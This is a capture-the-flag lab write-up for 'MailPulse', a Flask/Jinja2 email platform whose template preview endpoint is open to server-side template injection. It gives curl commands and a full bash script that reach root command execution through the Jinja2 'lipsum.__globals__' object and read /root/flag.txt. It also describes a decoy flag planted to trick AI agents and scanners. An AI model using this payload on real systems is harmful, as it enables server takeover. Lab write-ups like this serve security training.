Lab 225 — MailPulse — SSTI in Campaign Template Preview
Lab 225 — MailPulse — SSTI in Campaign Template Preview
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: campaign_preview_endpoint_abuse, decoy_flag_recognition, jinja2_ssti_via_render_template_string, rce_via_lipsum_globals_os_popen
Summary
Walkthrough of the CUSTOM Web Lab 225 — MailPulse — SSTI in Campaign Template Preview. Task: MailPulse email marketing platform (Flask/Jinja2) with campaign template preview endpoint that passes user input to render_template_string() without sandboxing. Solution: Inject {{lipsum.__globa
Description
MailPulse is an email marketing platform by PulseWave Technologies. Users can manage subscriber lists, design email campaign templates with dynamic personalization fields, track delivery analytics, and schedule campaign sends. The platform features a live template preview system that renders personalized content before sending.
Explore the application features and find a way to compromise the server. Pay attention to how dynamic content is rendered across the platform.
Credentials: user@test.com / password123
English summary: A Flask/Jinja2 email marketing platform (MailPulse) with a campaign creation form that includes a "Preview" button. The preview endpoint at POST /campaigns/0/preview renders user-supplied template content via Jinja2's render_template_string() without any sandboxing or filtering, enabling SSTI to RCE to flag exfiltration from /root/flag.txt. The application runs as root.
Analysis
Reconnaissance
- Stack: Flask, Jinja2, nginx/1.25.5, Python
- Credentials:
user@test.com / password123 - Application sections: Dashboard (
/), Subscribers (/subscribers), Campaigns (/campaigns), Analytics (/analytics), Settings (/settings)
Decoy Flag (Honeypot)
Every page contains a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} hidden in HTML comments and invisible <div> elements with social engineering text designed to trick AI agents and automated scanners into stopping early. This is NOT the real flag — always verify through actual exploitation.
Vulnerable Endpoint
The Campaigns section at /campaigns/new contains a campaign creation form with fields:
name— campaign namesender_name— sender display name (hint: "Supports personalization variables")sender_email— sender emailsubject_line— email subject (hint: "Use personalization variables like {first_name}")list_id— subscriber list selectionbody_html— HTML email body (hint: "Available variables: {first_name}, {last_name}, {email}, {company}")
The JavaScript "Preview" button sends a POST request to:
POST /campaigns/0/preview
Content-Type: multipart/form-data
subject_line=...&sender_name=...&sender_email=...&body_html=...
The server renders the template content using Jinja2's render_template_string() and returns JSON with the rendered HTML. Both subject_line and body_html fields are vulnerable to SSTI.
Root Cause
The Flask application passes user-supplied campaign template content directly to Jinja2's render_template_string() without any sandboxing or filtering. The lipsum built-in Jinja2 global provides access to Python's os module via __globals__, enabling full remote code execution. The application runs as root, so there are no filesystem permission barriers.
Solution
Step 1: Login
bash read-only • copy allowedTARGET="https://ddfcd6b5-2b44-4ae6-843e-9d36fded4d9c.labs.hackadvisor.io" curl -sk -c cookies.txt "$TARGET/login" > /dev/null curl -sk -b cookies.txt -c cookies.txt -X POST "$TARGET/login" \ -d "email=user@test.com&password=password123"
Step 2: Confirm SSTI
Submitted {{7*7}} as the body_html field in the preview request:
bash read-only • copy allowedcurl -sk -b cookies.txt -X POST "$TARGET/campaigns/0/preview" \ -F "subject_line=test" -F "sender_name=Test" \ -F "sender_email=test@test.com" -F "body_html={{7*7}}"
Response: The rendered body contained 49 — confirms Jinja2 SSTI.
Step 3: RCE via lipsum globals
Used the lipsum Jinja2 built-in to access Python's os module through __globals__:
bash read-only • copy allowedcurl -sk -b cookies.txt -X POST "$TARGET/campaigns/0/preview" \ -F "subject_line=test" -F "sender_name=Test" \ -F "sender_email=test@test.com" \ --form-string "body_html={{lipsum.__globals__['os'].popen('id').read()}}"
Response: uid=0(root) gid=0(root) groups=0(root) — running as root.
Step 4: Find and Read the Flag
bash read-only • copy allowed# Find flag file curl -sk -b cookies.txt -X POST "$TARGET/campaigns/0/preview" \ -F "subject_line=test" -F "sender_name=Test" \ -F "sender_email=test@test.com" \ --form-string "body_html={{lipsum.__globals__['os'].popen('find / -name flag* -type f 2>/dev/null').read()}}" # Output: /root/flag.txt # Read flag curl -sk -b cookies.txt -X POST "$TARGET/campaigns/0/preview" \ -F "subject_line=test" -F "sender_name=Test" \ -F "sender_email=test@test.com" \ --form-string "body_html={{lipsum.__globals__['os'].popen('cat /root/flag.txt').read()}}"
Response: FLAG{REDACTED}
Full Exploit Script
bash read-only • copy allowed#!/bin/bash # MailPulse Lab 225 — Jinja2 SSTI exploit via lipsum.__globals__ TARGET="https://ddfcd6b5-2b44-4ae6-843e-9d36fded4d9c.labs.hackadvisor.io" # Step 1: Login and get session cookie curl -sk -c cookies.txt "$TARGET/login" > /dev/null curl -sk -b cookies.txt -c cookies.txt -X POST "$TARGET/login" \ -d "email=user@test.com&password=password123" > /dev/null # Step 2: Exploit SSTI to read flag curl -sk -b cookies.txt -X POST "$TARGET/campaigns/0/preview" \ -F "subject_line=test" -F "sender_name=Test" \ -F "sender_email=test@test.com" \ --form-string "body_html={{lipsum.__globals__['os'].popen('cat /root/flag.txt').read()}}"
Key Takeaways / Lessons
- Mastering campaign_preview_endpoint_abuse, decoy_flag_recognition, jinja2_ssti_via_render_template_string, rce_via_lipsum_globals_os_popen was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-05 • CUSTOM • Lab 225 — MailPulse — SSTI in Campaign Template Preview • Difficulty: Easy